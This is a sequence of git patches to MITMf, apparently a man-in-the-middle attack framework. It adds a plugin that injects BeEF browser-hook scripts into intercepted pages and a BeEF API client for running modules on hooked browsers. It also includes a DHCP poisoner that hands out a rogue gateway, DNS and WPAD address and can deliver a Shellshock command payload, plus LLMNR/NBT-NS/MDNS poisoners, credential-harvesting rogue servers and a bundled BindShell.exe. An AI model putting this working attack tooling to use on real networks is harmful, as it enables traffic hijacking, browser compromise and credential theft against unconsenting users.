- headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps(options) - r = requests.post("{}/modules/{}/{}?token={}".format(self.url, session, self.id, self.token), headers=headers, data=payload) - return r.json() + def run(self, session, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/modules/{}/{}?token={}".format(self.url, session, self.id, self.token), headers=headers, data=payload) + return r.json() - def multi_run(self, options={}, hb_ids=[]): - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps({"mod_id":self.id, "mod_params": options, "hb_ids": hb_ids}) - r = requests.post("{}/modules/multi_browser?token={}".format(self.url, self.token), headers=headers, data=payload) - return r.json() + def multi_run(self, options={}, hb_ids=[]): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"mod_id":self.id, "mod_params": options, "hb_ids": hb_ids}) + r = requests.post("{}/modules/multi_browser?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() - def results(self, session, cmd_id): - r = requests.get("{}/modules/{}/{}/{}?token={}".format(self.url, session, self.id, cmd_id, self.token)) - return r.json() + def results(self, session, cmd_id): + r = requests.get("{}/modules/{}/{}/{}?token={}".format(self.url, session, self.id, cmd_id, self.token)) + return r.json() class Log(object): - def __init__(self, log_dict): - self.id = log_dict['id'] - self.date = log_dict['date'] - self.event = log_dict['event'] - self.type = log_dict['type'] + def __init__(self, log_dict): + for k,v in log_dict.iteritems(): + setattr(self, k, v) class DNS_Rule(object): - def __init__(self, rule, url, token): - self.url = url - self.token = token + def __init__(self, rule, url, token): + self.url = url + self.token = token - self.id = rule['id'] - self.pattern = rule['pattern'] - self.type = rule['type'] - self.response = rule=['response'] + for k,v in rule.iteritems(): + setattr(self, k, v) - def delete(self): - r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, self.id, self.token)) - return r.json() + def delete(self): + r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, self.id, self.token)) + return r.json() class DNS(object): - def __init__(self, data, url, token): - self.data = data - self.url = url - self.token = token + def __init__(self, data, url, token): + self.data = data + self.url = url + self.token = token - @property - def ruleset(self): - ruleset = [] - r = requests.get("{}/dns/ruleset?token={}".format(self.url, self.token)) - for rule in r.json()['ruleset']: - ruleset.append(DNS_Rule(rule, self.url, self.token)) - return ruleset + @property + def ruleset(self): + ruleset = [] + r = requests.get("{}/dns/ruleset?token={}".format(self.url, self.token)) + for rule in r.json()['ruleset']: + ruleset.append(DNS_Rule(rule, self.url, self.token)) + return ruleset - def add(self, pattern, resource, response=[]): - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps({"pattern": pattern, "resource": resource, "response": response}) - r = requests.post("{}/dns/rule?token={}".format(self.url, self.token), headers=headers, data=payload) - return r.json() + def add(self, pattern, resource, response=[]): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"pattern": pattern, "resource": resource, "response": response}) + r = requests.post("{}/dns/rule?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() - def delete(self, rule_id): - r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, rule_id, self.token)) - return r.json() + def delete(self, rule_id): + r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, rule_id, self.token)) + return r.json() class Hooked_Browsers(object): - def __init__(self, data, url, token): - self.data = data - self.url = url - self.token = token + def __init__(self, data, url, token): + self.data = data + self.url = url + self.token = token - @property - def online(self): - sessions = SessionList([]) - for k,v in self.data['hooked-browsers']['online'].iteritems(): - sessions.append(Session(v['session'], self.data, self.url, self.token)) - return sessions + @property + def online(self): + sessions = SessionList([]) + for k,v in self.data['hooked-browsers']['online'].iteritems(): + sessions.append(Session(v['session'], self.data, self.url, self.token)) + return sessions - @property - def offline(self): - sessions = SessionList([]) - for k,v in self.data['hooked-browsers']['offline'].iteritems(): - sessions.append(Session(v['session'], self.data, self.url, self.token)) - return sessions + @property + def offline(self): + sessions = SessionList([]) + for k,v in self.data['hooked-browsers']['offline'].iteritems(): + sessions.append(Session(v['session'], self.data, self.url, self.token)) + return sessions class Session(object): - def __init__(self, session, data, url, token): - self.session = session - self.data = data - self.url = url - self.token = token + def __init__(self, session, data, url, token): + self.session = session + self.data = data + self.url = url + self.token = token - self.domain = self.get_property('domain') - self.id = self.get_property('id') - self.ip = self.get_property('ip') - self.name = self.get_property('name') #Browser name - self.os = self.get_property('os') - self.page_uri = self.get_property('page_uri') - self.platform = self.get_property('platform') #Ex. win32 - self.port = self.get_property('port') - self.version = self.get_property('version') #Browser version + self.domain = self.get_property('domain') + self.id = self.get_property('id') + self.ip = self.get_property('ip') + self.name = self.get_property('name') #Browser name + self.os = self.get_property('os') + self.page_uri = self.get_property('page_uri') + self.platform = self.get_property('platform') #Ex. win32 + self.port = self.get_property('port') + self.version = self.get_property('version') #Browser version - @property - def details(self): - r = requests.get('{}/hooks/{}?token={}'.format(self.url, self.session, self.token)) - return r.json() + @property + def details(self): + r = requests.get('{}/hooks/{}?token={}'.format(self.url, self.session, self.token)) + return r.json() - @property - def logs(self): - logs = [] - r = requests.get('{}/logs/{}?token={}'.format(self.url, self.session, self.token)) - for log in r.json()['logs']: - logs.append(Log(log)) - return logs + @property + def logs(self): + logs = [] + r = requests.get('{}/logs/{}?token={}'.format(self.url, self.session, self.token)) + for log in r.json()['logs']: + logs.append(Log(log)) + return logs - def run(self, module_id, options={}): - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps(options) - r = requests.post("{}/modules/{}/{}?token={}".format(self.url, self.session, module_id, self.token), headers=headers, data=payload) - return r.json() + def run(self, module_id, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/modules/{}/{}?token={}".format(self.url, self.session, module_id, self.token), headers=headers, data=payload) + return r.json() - def multi_run(self, options={}): - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps({"hb": self.session, "modules":[options]}) - r = requests.post("{}/modules/multi_module?token={}".format(self.url, self.token), headers=headers, data=payload) - return r.json() + def multi_run(self, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"hb": self.session, "modules":[options]}) + r = requests.post("{}/modules/multi_module?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() - def get_property(self, key): - for k,v in self.data['hooked-browsers'].iteritems(): - for l,s in v.iteritems(): - if self.session == s['session']: - return s[key] + def get_property(self, key): + for k,v in self.data['hooked-browsers'].iteritems(): + for l,s in v.iteritems(): + if self.session == s['session']: + return s[key] diff --git a/plugins/beefautorun.py b/plugins/beefautorun.py new file mode 100644 index 0000000..177dae1 --- /dev/null +++ b/plugins/beefautorun.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import os + +from plugins.plugin import Plugin +from plugins.inject import Inject +from core.beefapi import BeefAPI +from mitmflib.watchdog.observers import Observer +from mitmflib.watchdog.events import FileSystemEventHandler + +class BeefAutorun(Inject, Plugin): + name = "BeEFAutoloader" + optname = "beefauto" + desc = "Injects BeEF hooks & manages BeEF's ARE rule loading" + version = "0.4" + + def initialize(self, options): + self.options = options + self.ip_address = options.ip + beefconfig = self.config['MITMf']['BeEF'] + + Inject.initialize(self, options) + self.js_url = 'http://{}:{}/hook.js'.format(options.ip , ['port']) + + beefconfig = self.config['MITMf']['BeEF'] + + from core.utils import shutdown + beef = BeefAPI({"host": beefconfig['host'], "port": beefconfig['port']}) + if not beef.login(beefconfig['user'], beefconfig['pass']): + shutdown("[BeEFAutorun] Error logging in to BeEF!") + + self.tree_info.append('Starting RuleWatcher') + RuleWatcher(beef, self.log).start() + + def options(self, options): + pass + +class RuleWatcher(FileSystemEventHandler): + + def __init__(self, beef, logger): + FileSystemEventHandler.__init__(self) + self.beef = beef + self.log = logger + + def on_modified(self, event): + self.log.debug('Detected ARE rule change!') + for rule in self.beef.are_rules.list(): + self.log.debug('Deleting rule id: {} name: {}'.format(rule.id, rule.name)) + rule.delete() + + if event.src_path.endswith('.json'): + self.log.debug('Detected ARE rule modification/addition!') + for rule in os.listdir('./config/beef_arerules/enabled'): + if rule.endswith('.json'): + rule_path = './config/beef_arerules/enabled/' + rule + self.log.debug('Adding rule {}'.format(rule_path)) + self.beef.are_rules.add(rule_path) + + def start(self): + observer = Observer() + observer.schedule(self, path='./config/beef_arerules/enabled', recursive=False) + observer.start() \ No newline at end of file From 8270f337adf0119ab9677ccd36f4f3dabd24ac05 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 30 Jul 2015 16:56:11 +0200 Subject: [PATCH 091/181] DHCP poisoner now takes into account the requested IP of clients WPAD server address Specifying interface is now optional --- config/mitmf.conf | 6 --- core/beefapi.py | 2 +- core/poisoners/dhcp/DHCPpoisoner.py | 70 ++++++++++++++--------------- core/utils.py | 7 ++- mitmf.py | 8 ++-- plugins/spoof.py | 3 +- 6 files changed, 48 insertions(+), 48 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index 09f9e58..cad2b4c 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -123,12 +123,6 @@ # Plugin configuration starts here # -[Spoof] - - [[DHCP]] - ip_pool = 192.168.1.10-50 - subnet = 255.255.255.0 - [Replace] [[Regex1]] diff --git a/core/beefapi.py b/core/beefapi.py index ff4210a..7a66797 100644 --- a/core/beefapi.py +++ b/core/beefapi.py @@ -201,7 +201,7 @@ class ARE_Rules(object): with open(rule_path, 'r') as rule: payload = rule.read() r = requests.post('{}/add?token={}'.format(self.url, self.token), data=payload, headers=headers) - return r.text #currently the returned object can't be serialized to JSON + return r.json() def trigger(self, rule_id): r = requests.get('{}/trigger/{}?token={}'.format(self.url, rule_id, self.token)) diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/dhcp/DHCPpoisoner.py index 6871384..cd6ff20 100644 --- a/core/poisoners/dhcp/DHCPpoisoner.py +++ b/core/poisoners/dhcp/DHCPpoisoner.py @@ -21,7 +21,7 @@ import threading import binascii import random -from netaddr import IPAddress, IPNetwork, IPRange, AddrFormatError +from netaddr import IPAddress, IPNetwork from core.logger import logger from scapy.all import * @@ -30,20 +30,20 @@ log = logger().setup_logger("DHCPpoisoner", formatter) class DHCPpoisoner(): - def __init__(self, options, dhcpcfg): + def __init__(self, options): self.interface = options.interface self.ip_address = options.ip self.mac_address = options.mac self.shellshock = options.shellshock + self.netmask = options.netmask self.debug = False - self.dhcpcfg = dhcpcfg self.dhcp_dic = {} log.debug("interface => {}".format(self.interface)) log.debug("ip => {}".format(self.ip_address)) log.debug("mac => {}".format(self.mac_address)) + log.debug("netmask => {}".format(self.netmask)) log.debug("shellshock => {}".format(self.shellshock)) - log.debug("dhcpcfg => {}".format(self.dhcpcfg)) def start(self): self.s2 = conf.L2socket(iface=self.interface) @@ -62,30 +62,24 @@ class DHCPpoisoner(): if "Interrupted system call" not in e: log.error("Exception occurred while poisoning: {}".format(e)) - def dhcp_rand_ip(self): - pool = self.dhcpcfg['ip_pool'] + def get_client_ip(self, xid, dhcp_options): try: - if '/' in pool: - ips = list(IPNetwork(pool)) - return str(random.choice(ips)) + field_name, req_addr = dhcp_options[2] + if field_name == 'requested_addr': + return 'requested', req_addr - elif '-' in pool: - start_addr = IPAddress(pool.split('-')[0]) - try: - end_addr = IPAddress(pool.split('-')[1]) - ips = list(IPRange(start_addr, end_addr)) - except AddrFormatError: - end_addr = list(start_addr.words) - end_addr[-1] = pool.split('-')[1] + raise ValueError + except ValueError: + for field in dhcp_options: + if (field is tuple) and (field[0] == 'requested_addr'): + return field[1] - end_addr = IPAddress('.'.join(map(str, end_addr))) - ips = list(IPRange(start_addr, end_addr)) + if xid in self.dhcp_dic.keys(): + client_ip = self.dhcp_dic[xid] + return 'stored', client_ip - return str(random.choice(ips)) - - log.error('Specified invalid CIDR/Network range in DHCP pool option') - except AddrFormatError: - log.error('Specified invalid CIDR/Network range in DHCP pool option') + net = IPNetwork(self.ip_address + '/24') + return 'generated', random.choice(list(net)) def dhcp_callback(self, resp): if resp.haslayer(DHCP): @@ -94,15 +88,12 @@ class DHCPpoisoner(): mac_addr = resp[Ether].src raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) - if xid in self.dhcp_dic.keys(): - client_ip = self.dhcp_dic[xid] - else: - client_ip = self.dhcp_rand_ip() - self.dhcp_dic[xid] = client_ip - if resp[DHCP].options[0][1] == 1: - log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) - log.info("Sending DHCP OFFER") + method, client_ip = self.get_client_ip(xid, resp[DHCP].options) + if method == 'requested': + log.info("Got DHCP DISCOVER from: {} requested_addr: {} xid: {}".format(mac_addr, client_ip, hex(xid))) + else: + log.info("Got DHCP DISCOVER from: {} xid: {}".format(mac_addr, hex(xid))) packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / IP(src=self.ip_address, dst='255.255.255.255') / @@ -110,19 +101,25 @@ class DHCPpoisoner(): BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / DHCP(options=[("message-type", "offer"), ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), + ('subnet_mask', self.netmask), ('router', self.ip_address), ('name_server', self.ip_address), ('dns_server', self.ip_address), ('lease_time', 172800), ('renewal_time', 86400), ('rebinding_time', 138240), + (252, 'http://{}/wpad.dat\\n'.format(self.ip_address)), "end"])) + log.info("Sending DHCP OFFER") self.s2.send(packet) if resp[DHCP].options[0][1] == 3: - log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) + method, client_ip = self.get_client_ip(xid, resp[DHCP].options) + if method == 'requested': + log.info("Got DHCP REQUEST from: {} requested_addr: {} xid: {}".format(mac_addr, client_ip, hex(xid))) + else: + log.info("Got DHCP REQUEST from: {} xid: {}".format(mac_addr, hex(xid))) packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / IP(src=self.ip_address, dst='255.255.255.255') / @@ -130,13 +127,14 @@ class DHCPpoisoner(): BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / DHCP(options=[("message-type", "ack"), ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), + ('subnet_mask', self.netmask), ('router', self.ip_address), ('name_server', self.ip_address), ('dns_server', self.ip_address), ('lease_time', 172800), ('renewal_time', 86400), - ('rebinding_time', 138240)])) + ('rebinding_time', 138240), + (252, 'http://{}/wpad.dat\\n'.format(self.ip_address))])) if self.shellshock: log.info("Sending DHCP ACK with shellshock payload") diff --git a/core/utils.py b/core/utils.py index 2aecf73..d5ca410 100644 --- a/core/utils.py +++ b/core/utils.py @@ -24,7 +24,7 @@ import sys from commands import getstatusoutput from core.logger import logger from core.sergioproxy.ProxyPlugins import ProxyPlugins -from scapy.all import get_if_addr, get_if_hwaddr +from scapy.all import get_if_addr, get_if_hwaddr, get_working_if formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Utils", formatter) @@ -45,6 +45,11 @@ def set_ip_forwarding(value): file.write(str(value)) file.close() +def get_iface(): + iface = get_working_if() + log.debug("Interface {} seems to be up and running") + return iface + def get_ip(interface): try: ip_address = get_if_addr(interface) diff --git a/mitmf.py b/mitmf.py index 44f5349..5f8e0a8 100755 --- a/mitmf.py +++ b/mitmf.py @@ -46,13 +46,13 @@ if os.geteuid() != 0: parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename), version="{} - '{}'".format(mitmf_version, mitmf_codename), - usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', + usage='mitmf.py [-i interface] [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.") #add MITMf options sgroup = parser.add_argument_group("MITMf", "Options for MITMf") sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") -sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on") +sgroup.add_argument("-i", dest='interface', type=str, help="Interface to listen on") sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use") sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching") sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)") @@ -73,7 +73,9 @@ options = parser.parse_args() logger().log_level = logging.__dict__[options.log_level.upper()] #Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object -from core.utils import get_ip, get_mac, shutdown +from core.utils import get_iface, get_ip, get_mac, shutdown +if not options.interface: + options.interface = get_iface() options.ip = get_ip(options.interface) options.mac = get_mac(options.interface) diff --git a/plugins/spoof.py b/plugins/spoof.py index 13e6c36..f36cd9a 100644 --- a/plugins/spoof.py +++ b/plugins/spoof.py @@ -49,7 +49,7 @@ class Spoof(Plugin): if options.targets: shutdown("[Spoof] --targets argument invalid when DCHP spoofing") - dhcp = DHCPpoisoner(options, self.config['Spoof']['DHCP']) + dhcp = DHCPpoisoner(options) dhcp.debug = debug self.tree_info.append('DHCP spoofing enabled') self.protocol_instances.append(dhcp) @@ -92,6 +92,7 @@ class Spoof(Plugin): group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects') group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers') options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries') + options.add_argument('--netmask', dest='netmask', type=str, default='255.255.255.0', help='The netmask of the network') options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]') From 93d21c8b277c4f0d040d4eda68f2d5dce45c2ce3 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 1 Aug 2015 11:12:53 +0200 Subject: [PATCH 092/181] Fixed bug when logging in Netcreds FIxed an invalid function call in MDNSpoisoner.py --- core/netcreds/NetCreds.py | 2 +- core/responder/mdns/MDNSpoisoner.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/core/netcreds/NetCreds.py b/core/netcreds/NetCreds.py index 1d5c7b3..6dbd14a 100644 --- a/core/netcreds/NetCreds.py +++ b/core/netcreds/NetCreds.py @@ -17,7 +17,7 @@ from urllib import unquote from scapy.all import * conf.verb=0 -formatter = logging.Formatter("%(asctime)s %(clientip)s [NetCreds] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s [NetCreds] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("NetCreds", formatter) DN = open(devnull, 'w') diff --git a/core/responder/mdns/MDNSpoisoner.py b/core/responder/mdns/MDNSpoisoner.py index 2da5a5b..fbd6698 100644 --- a/core/responder/mdns/MDNSpoisoner.py +++ b/core/responder/mdns/MDNSpoisoner.py @@ -58,7 +58,7 @@ class MDNSAns(Packet): ]) def calculate(self): - self.fields["IP"] = inet_aton(OURIP) + self.fields["IP"] = socket.inet_aton(OURIP) self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) def Parse_MDNS_Name(data): From fd9b79c617d70d97013f23a2becf53e12505e6c0 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 2 Aug 2015 21:15:10 +0200 Subject: [PATCH 093/181] first pass at refactoring: directory structure has been simplified by grouping all the poisoners and servers in one folder impacket smb server has been replaced with responder's flask http server has beem replaced with responder's modified config file to support new changes --- config/mitmf.conf | 110 +- config/responder/AccessDenied.html | 31 + config/responder/BindShell.exe | Bin 0 -> 25113 bytes config/responder/gen-self-signed-cert.sh | 3 + config/responder/responder.crt | 18 + config/responder/responder.key | 27 + core/configwatcher.py | 2 +- core/mitmfapi.py | 2 +- core/{netcreds/NetCreds.py => netcreds.py} | 0 core/netcreds/README.md | 64 - core/netcreds/__init__.py | 0 core/{packetparser.py => packetfilter.py} | 6 +- core/poisoners/{arp/ARPpoisoner.py => ARP.py} | 0 .../{dhcp/DHCPpoisoner.py => DHCP.py} | 0 .../{icmp/ICMPpoisoner.py => ICMP.py} | 0 core/poisoners/LLMNR.py | 94 ++ core/poisoners/MDNS.py | 70 + core/poisoners/NBTNS.py | 79 + core/poisoners/arp/__init__.py | 0 core/poisoners/dhcp/__init__.py | 0 core/poisoners/icmp/__init__.py | 0 .../ProxyPlugins.py => proxyplugins.py} | 0 core/responder/common.py | 102 -- core/responder/fingerprint.py | 68 + core/responder/fingerprinter/Fingerprint.py | 121 -- .../fingerprinter/FingerprintRelay.py | 132 -- .../fingerprinter/LANfingerprinter.py | 236 --- .../fingerprinter/RAPLANMANPackets.py | 146 -- core/responder/fingerprinter/RelayPackets.py | 480 ------- core/responder/fingerprinter/__init__.py | 0 core/responder/ftp/FTPserver.py | 67 - core/responder/ftp/__init__.py | 0 core/responder/imap/IMAPPackets.py | 42 - core/responder/imap/IMAPserver.py | 53 - core/responder/imap/__init__.py | 0 core/responder/kerberos/KERBserver.py | 157 -- core/responder/kerberos/__init__.py | 0 core/responder/ldap/LDAPPackets.py | 224 --- core/responder/ldap/LDAPserver.py | 121 -- core/responder/ldap/__init__.py | 0 core/responder/llmnr/LLMNRpoisoner.py | 176 --- core/responder/llmnr/__init__.py | 0 core/responder/mdns/MDNSpoisoner.py | 115 -- core/responder/mdns/__init__.py | 0 core/responder/mssql/MSSQLPackets.py | 154 -- core/responder/mssql/MSSQLserver.py | 129 -- core/responder/mssql/__init__.py | 0 core/responder/nbtns/NBTNSpoisoner.py | 212 --- core/responder/nbtns/__init__.py | 0 core/responder/odict.py | 11 +- core/responder/packet.py | 34 - core/responder/packets.py | 1277 +++++++++++++++++ core/responder/pop3/POP3server.py | 65 - core/responder/pop3/__init__.py | 0 core/responder/settings.py | 192 +++ core/responder/smtp/SMTPPackets.py | 61 - core/responder/smtp/SMTPserver.py | 64 - core/responder/smtp/__init__.py | 0 core/responder/utils.py | 358 +++++ core/sergioproxy/README.md | 13 - core/sergioproxy/__init__.py | 0 core/servers/Browser.py | 205 +++ core/servers/{dns/DNSchef.py => DNS.py} | 2 - core/servers/FTP.py | 58 + core/servers/HTTP.py | 292 ++++ core/servers/IMAP.py | 55 + core/servers/{smb => }/KarmaSMB.py | 0 core/servers/Kerberos.py | 159 ++ core/servers/LDAP.py | 137 ++ core/servers/MSSQL.py | 157 ++ core/servers/POP3.py | 60 + core/servers/SMB.py | 421 ++++++ core/servers/SMTP.py | 66 + core/servers/dns/CHANGELOG | 29 - core/servers/dns/LICENSE | 25 - core/servers/dns/README.md | 339 ----- core/servers/dns/__init__.py | 0 core/servers/http/HTTPserver.py | 64 - core/servers/http/__init__.py | 0 core/servers/smb/SMBserver.py | 76 - core/servers/smb/__init__.py | 0 core/sslstrip/ClientRequest.py | 17 +- core/sslstrip/ServerConnection.py | 2 +- core/utils.py | 4 +- mitmf.py | 46 +- plugins/responder.py | 138 -- plugins/spoof.py | 8 +- 87 files changed, 3921 insertions(+), 3755 deletions(-) create mode 100644 config/responder/AccessDenied.html create mode 100644 config/responder/BindShell.exe create mode 100755 config/responder/gen-self-signed-cert.sh create mode 100644 config/responder/responder.crt create mode 100644 config/responder/responder.key rename core/{netcreds/NetCreds.py => netcreds.py} (100%) delete mode 100644 core/netcreds/README.md delete mode 100644 core/netcreds/__init__.py rename core/{packetparser.py => packetfilter.py} (88%) rename core/poisoners/{arp/ARPpoisoner.py => ARP.py} (100%) rename core/poisoners/{dhcp/DHCPpoisoner.py => DHCP.py} (100%) rename core/poisoners/{icmp/ICMPpoisoner.py => ICMP.py} (100%) create mode 100644 core/poisoners/LLMNR.py create mode 100644 core/poisoners/MDNS.py create mode 100644 core/poisoners/NBTNS.py delete mode 100644 core/poisoners/arp/__init__.py delete mode 100644 core/poisoners/dhcp/__init__.py delete mode 100644 core/poisoners/icmp/__init__.py rename core/{sergioproxy/ProxyPlugins.py => proxyplugins.py} (100%) delete mode 100644 core/responder/common.py create mode 100644 core/responder/fingerprint.py delete mode 100644 core/responder/fingerprinter/Fingerprint.py delete mode 100644 core/responder/fingerprinter/FingerprintRelay.py delete mode 100644 core/responder/fingerprinter/LANfingerprinter.py delete mode 100644 core/responder/fingerprinter/RAPLANMANPackets.py delete mode 100644 core/responder/fingerprinter/RelayPackets.py delete mode 100644 core/responder/fingerprinter/__init__.py delete mode 100644 core/responder/ftp/FTPserver.py delete mode 100644 core/responder/ftp/__init__.py delete mode 100644 core/responder/imap/IMAPPackets.py delete mode 100644 core/responder/imap/IMAPserver.py delete mode 100644 core/responder/imap/__init__.py delete mode 100644 core/responder/kerberos/KERBserver.py delete mode 100644 core/responder/kerberos/__init__.py delete mode 100644 core/responder/ldap/LDAPPackets.py delete mode 100644 core/responder/ldap/LDAPserver.py delete mode 100644 core/responder/ldap/__init__.py delete mode 100644 core/responder/llmnr/LLMNRpoisoner.py delete mode 100644 core/responder/llmnr/__init__.py delete mode 100644 core/responder/mdns/MDNSpoisoner.py delete mode 100644 core/responder/mdns/__init__.py delete mode 100644 core/responder/mssql/MSSQLPackets.py delete mode 100644 core/responder/mssql/MSSQLserver.py delete mode 100644 core/responder/mssql/__init__.py delete mode 100644 core/responder/nbtns/NBTNSpoisoner.py delete mode 100644 core/responder/nbtns/__init__.py delete mode 100644 core/responder/packet.py create mode 100644 core/responder/packets.py delete mode 100644 core/responder/pop3/POP3server.py delete mode 100644 core/responder/pop3/__init__.py create mode 100644 core/responder/settings.py delete mode 100644 core/responder/smtp/SMTPPackets.py delete mode 100644 core/responder/smtp/SMTPserver.py delete mode 100644 core/responder/smtp/__init__.py create mode 100644 core/responder/utils.py delete mode 100644 core/sergioproxy/README.md delete mode 100644 core/sergioproxy/__init__.py create mode 100644 core/servers/Browser.py rename core/servers/{dns/DNSchef.py => DNS.py} (99%) create mode 100644 core/servers/FTP.py create mode 100644 core/servers/HTTP.py create mode 100644 core/servers/IMAP.py rename core/servers/{smb => }/KarmaSMB.py (100%) create mode 100644 core/servers/Kerberos.py create mode 100644 core/servers/LDAP.py create mode 100644 core/servers/MSSQL.py create mode 100644 core/servers/POP3.py create mode 100644 core/servers/SMB.py create mode 100644 core/servers/SMTP.py delete mode 100644 core/servers/dns/CHANGELOG delete mode 100644 core/servers/dns/LICENSE delete mode 100644 core/servers/dns/README.md delete mode 100644 core/servers/dns/__init__.py delete mode 100644 core/servers/http/HTTPserver.py delete mode 100644 core/servers/http/__init__.py delete mode 100644 core/servers/smb/SMBserver.py delete mode 100644 core/servers/smb/__init__.py delete mode 100644 plugins/responder.py diff --git a/config/mitmf.conf b/config/mitmf.conf index cad2b4c..9ea8033 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -20,53 +20,6 @@ host = 127.0.0.1 port = 9999 - [[HTTP]] - - # - # Here you can configure MITMf's internal HTTP server - # Note: changing the port number might break certain plugins - - port = 80 - - [[SMB]] - - # - # Here you can configure MITMf's internal SMB server - # - - port = 445 - mode = normal # Can be set to Normal or Karma - - # Set a custom challenge - Challenge = 1122334455667788 - - [[[Shares]]] # Only parsed if type = Normal - - # - # You can define shares here - # - - # [[[[Share1]]]] #Share name - # readonly = yes #Be very careful if you set this to no! - # path = /tmp #Share path - - # [[[[Share2]]]] - # readonly = yes - # path = /tmp - - [[[Karma]]] # Only parsed if type = Karma - - # - # Here you can configure the Karma-SMB server - # - - defaultfile = '' #Path to the file to serve if the requested extension is not specified below (don't comment out) - - # exe = /tmp/evil.exe - # dll = /tmp/evil.dll - # ini = /tmp/desktop.ini - # bat = /tmp/evil.bat - [[DNS]] # @@ -154,32 +107,63 @@ [Responder] - #Set these values to On or Off, so you can control which rogue authentication server is turned on. - MSSQL = On + #Servers to start + SQL = On + HTTPS = On Kerberos = On - FTP = On - POP = On - SMTP = On #Listens on 25/TCP, 587/TCP - IMAP = On - LDAP = On + FTP = On + POP = On + SMTP = On + IMAP = On + LDAP = On - #Set this option with your in-scope targets (default = All) - #Ex. RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 + #Custom challenge + Challenge = 1122334455667788 + + #Specific IP Addresses to respond to (default = All) + #Example: RespondTo = 10.20.1.100-150, 10.20.3.10 RespondTo = - #Set this option with specific NBT-NS/LLMNR names to answer to (default = All) - #Ex. RespondTo = WPAD,DEV,PROD,SQLINT + #Specific NBT-NS/LLMNR names to respond to (default = All) + #Example: RespondTo = WPAD, DEV, PROD, SQLINT RespondToName = - #DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 + #Specific IP Addresses not to respond to (default = None) + #Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 DontRespondTo = - #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None) - #Ex. DontRespondTo = NAC, IPS, IDS + #Specific NBT-NS/LLMNR names not to respond to (default = None) + #Example: DontRespondTo = NAC, IPS, IDS DontRespondToName = - #Set your custom PAC script - WPADScript = 